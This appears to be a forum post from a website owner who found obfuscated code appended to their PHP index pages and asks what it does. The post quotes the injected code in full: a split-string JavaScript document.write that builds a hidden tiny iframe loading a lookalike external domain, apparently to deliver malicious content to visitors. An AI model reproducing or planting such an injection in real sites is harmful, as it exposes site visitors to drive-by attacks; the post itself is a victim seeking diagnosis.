PHP Security Hole?

Hey all,

Logged in this morning to see our index pages had been altered…the end of each had this code attached:

<?php echo '<script>document.write("<if"+''+'ra'+''+"m"+'e s'+"rc=\"h"+''+'tt'+"p:"+''+"/"+''+'/mic'+"roso"+'t'+''+'f.c'+"n"+'/'+"\" wid"+''+'th=1 he'+"igh"+''+'t'+"="+"2></i"+''+"f"+"ra"+''+""+''+"me"+'>');</script>'; ?>

Any ideas what this was intending to do? I’m patching to the latest version now, but for a non-destructive hack it was pretty disruptive. Basically rendered the entire index file useless.

If anyone has any ideas please let me know!